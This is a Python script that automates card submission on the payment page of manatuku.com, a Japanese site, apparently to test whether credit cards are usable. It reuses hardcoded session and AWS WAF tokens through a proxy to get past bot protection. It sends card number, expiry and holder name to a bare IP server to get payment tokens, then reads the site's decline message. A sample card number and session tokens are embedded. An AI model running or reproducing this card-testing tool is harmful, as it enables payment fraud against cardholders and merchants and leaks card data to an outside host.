import json
import re

import requests


class ManatSuku:
    def __init__(self, manatsuku_session, aws_waf_token):
        self.manatsuku_session = manatsuku_session
        self.aws_waf_token = aws_waf_token
        self.gmo_payment_token = ''
        self.card_company = ''
        self.holder_name = ''
        self.card_number = ''
        self.expire = ''

    def getNew(self):
        url = 'https://manatuku.com/payments/new'

        headers = {
            'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
            'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
            'cache-control': 'no-cache',
            'pragma': 'no-cache',
            'priority': 'u=0, i',
            'referer': 'https://manatuku.com/payments/new',
            'sec-ch-ua': '"Chromium";v="142", "Microsoft Edge";v="142", "Not_A Brand";v="99"',
            'sec-ch-ua-mobile': '?0',
            'sec-ch-ua-platform': '"Windows"',
            'sec-fetch-dest': 'document',
            'sec-fetch-mode': 'navigate',
            'sec-fetch-site': 'same-origin',
            'sec-fetch-user': '?1',
            'upgrade-insecure-requests': '1',
            'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0'
        }

        cookies = {
            '_manatsuku_session': self.manatsuku_session,
            'aws-waf-token': self.aws_waf_token
        }

        proxies = {
            'http': 'http://127.0.0.1:7897',
            'https': 'http://127.0.0.1:7897'
        }

        try:
            response = requests.get(
                url,
                headers=headers,
                cookies=cookies,
                proxies=proxies,
                timeout=10
            )

            response.raise_for_status()
            return response

        except requests.exceptions.RequestException as e:
            print(f"请求发生错误: {e}")
            return None

    def submi_payment(self, authenticity_token):
        url = 'https://manatuku.com/payments'

        headers = {
            'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
            'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
            'cache-control': 'no-cache',
            'content-type': 'application/x-www-form-urlencoded',
            'origin': 'https://manatuku.com',
            'pragma': 'no-cache',
            'priority': 'u=0, i',
            'referer': 'https://manatuku.com/payments/new',
            'sec-ch-ua': '"Chromium";v="142", "Microsoft Edge";v="142", "Not_A Brand";v="99"',
            'sec-ch-ua-mobile': '?0',
            'sec-ch-ua-platform': '"Windows"',
            'sec-fetch-dest': 'document',
            'sec-fetch-mode': 'navigate',
            'sec-fetch-site': 'same-origin',
            'sec-fetch-user': '?1',
            'upgrade-insecure-requests': '1',
            'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0'
        }

        cookies = {
            'aws-waf-token': self.aws_waf_token,
            '_manatsuku_session': self.manatsuku_session
        }

        data = {
            'utf8': '✓',
            'authenticity_token': authenticity_token,
            'payment_credit_card[type]': 'Payment::CreditCard',
            'payment_credit_card[card_company]': self.card_company,
            'payment_credit_card[card_number]': self.card_number,
            'payment_credit_card[holder_name]': self.holder_name,
            'payment_credit_card[gmo_payment_token]': self.gmo_payment_token
        }

        proxies = {
            'http': 'http://127.0.0.1:7897',
            'https': 'http://127.0.0.1:7897'
        }

        try:
            response = requests.post(
                url,
                headers=headers,
                cookies=cookies,
                data=data,
                proxies=proxies,
                timeout=10
            )

            response.raise_for_status()
            # 检查是否是重定向
            if response.history:
                print(f"发生重定向 → 最终URL: {response.url}")

            return response

        except requests.exceptions.RequestException as e:
            print(f"请求失败: {e}")
            return None

    def set_gmo_payment(self, card_number, holder_name, expire, card_company):
        self.card_number = card_number
        self.holder_name = holder_name
        self.card_company = card_company
        self.expire = expire
        self.gmo_payment_token = getGmoToken(self.card_number, self.holder_name, self.expire)
        return self.gmo_payment_token

    def main(self):
        new_page = self.getNew()
        new_page_text = new_page.text
        if 'JavaScript is disabled' in new_page_text:
            print('触发验证码')
            return False
        else:
            print('cookie：', new_page.headers.get("set-cookie"))
            match = re.search(r"_manatsuku_session=([^;]+)", new_page.headers.get("set-cookie"))
            if match:
                session_value = match.group(1)
                print('manatsuku_session：', session_value)
                self.manatsuku_session = session_value
            # print('Text', new_page_text)
            pattern = r'<input type="hidden" name="authenticity_token" value="([^"]+)"'
            match = re.search(pattern, new_page_text)
            if match:
                authenticity_token = match.group(1)
                print('authenticity_token：', authenticity_token)
                payment_page = self.submi_payment(authenticity_token)
                payment_page_text = payment_page.text
                print('cookie：', payment_page.headers.get("set-cookie"))
                match = re.search(r"_manatsuku_session=([^;]+)", payment_page.headers.get("set-cookie"))
                if match:
                    session_value = match.group(1)
                    print('manatsuku_session：', session_value)
                    self.manatsuku_session = session_value
                # print('Text', payment_page_text)
                pattern = r'<ul id=[\'"]error_explanation[\'"]>\s*<li>([^<]+)</li>\s*</ul>'
                match = re.search(pattern, payment_page_text)
                if match:
                    error_message = match.group(1)
                    print('返回结果：', error_message)
                    print('最后manatsuku_session：', self.manatsuku_session)
                    return error_message, self.manatsuku_session
                else:
                    print("错误信息未找到")
                    return False
            else:
                print("authenticity_token获取失败")
                return False


def getTokenUrl(url):
    try:
        proxies = {
            'http': 'http://127.0.0.1:7897',
            'https': 'http://127.0.0.1:7897'
        }
        # 发送HTTP请求获取响应内容
        response = requests.get(url,proxies=proxies,timeout=10,verify=False)
        response.raise_for_status()  # 检查请求是否成功

        # 尝试解析响应内容是否为指定格式
        content = response.text.strip()

        # 使用正则表达式匹配 confirmToken({...}) 这种模式
        pattern = r'confirmToken\(({.*})\)'
        match = re.match(pattern, content)

        if match:
            # 提取JSON部分
            json_str = match.group(1)
            json_data = json.loads(json_str)
            return json_data
        else:
            print("响应内容不符合 confirmToken({...}) 格式")
            return False

    except requests.exceptions.RequestException as e:
        print(f"请求URL时出错: {e}")
        return False
    except json.JSONDecodeError as e:
        print(f"解析JSON时出错: {e}")
        return False

def getGmoToken(cardno, holdername, expire):
    Tdata = {
        "cardno": cardno,
        "expire": expire,
        "holdername": holdername
    }
    try:
        response = requests.get(f"http://121.36.223.161:8000/get_token", params=Tdata)
        response.raise_for_status()
        result = response.json()
        url = result['url']
        print(url)
        token_res = getTokenUrl(url)
        if token_res:
            try:
                token = token_res['tokenObject']["token"]
                return token
            except KeyError:
                return False
        else:
            return False
    except requests.exceptions.RequestException:
        return False

# 示例用法
def main():
    manatsuku_session = 'T25xY0hGSWZSWk53TER5Wlc1SXlPRHZKQjRYZWFoY25yNlBWYThrWS96MTRHc2FjdXA1UE5CNndwQjVqTFV5RzBNNUpOMnA4dTNWamdCcHk3TFJWMmVFVjlSb1hKeno3eWs0VkZBbUlDUmtpY0VsK24zU3E0R2lNczZyblQ3N2psR21nUDFLTHIrOEQ1NVh4dG81M0lHT3lEeDRwMFRLZnNjNEFlNVlmMDBSb0ROR3M1UWFFakhqTVpkWFlPclVWUjlham9OdzkySFdjZ2JaOTJTM1VLMUVGWGtSc1QwZUFMdU1SdURsaUdBMElCRjMvVFV3cGttNTVGbXRFdEY5YWJwSnRWMFZ2T2xFYXZtdWg4RjdrUXN4dVRaU3RUVysrdXU5SXVtaEhsNWM9LS1xeUxTTklYdzN5Qkk4QXZDOGFSdXZnPT0%3D--9fc1b2b1edf16334742fa184912daecb2f753eb1'
    aws_waf_token = 'ea03d638-2aee-439c-8dc8-5a0b304ebe6e:AQoAupdDFncoAAAA:F/xJgdE0Cw0vKaD90zKCzfkFDC5LJdYQkNRS4IuRSgB5ONlbiW7CaoMZkAI4kSGcv1XK+e3gaRvzGBoG9Bq8gJPMKc5lF2jRG3vE7/ZQRuXvN/pP7WoZSFIK5h3A4/w8ZohfuFwjeZ/f81jIdgI0yiD0J2IndpNfIYBE85FBWaKlxqHgv5Jvcy/pwOtk3Jt2P1C/fOVtjsuPk+rEcWoBspW/ts9MLfIPUyhU3keRC7YhtG1v7vcyaSCea5BpUrLXC9VmJ1RJq8M8WjMS'
    card_number = '4147769886918479'
    holder_name = 'Laifhnbn'
    card_company = 'visa'
    expire = '203003'
    ManatSukuApi = ManatSuku(
        manatsuku_session,
        aws_waf_token
    )
    set_gmo = getGmoToken(card_number, holder_name, expire)
    if set_gmo:
        result, session = ManatSukuApi.main()
        if result == "このカードでは取引をする事が出来ません。":
            print('绑定结果：此卡无法完成交易')
    else:
        print('获取gmo_token失败')



if __name__ == "__main__":
    main()

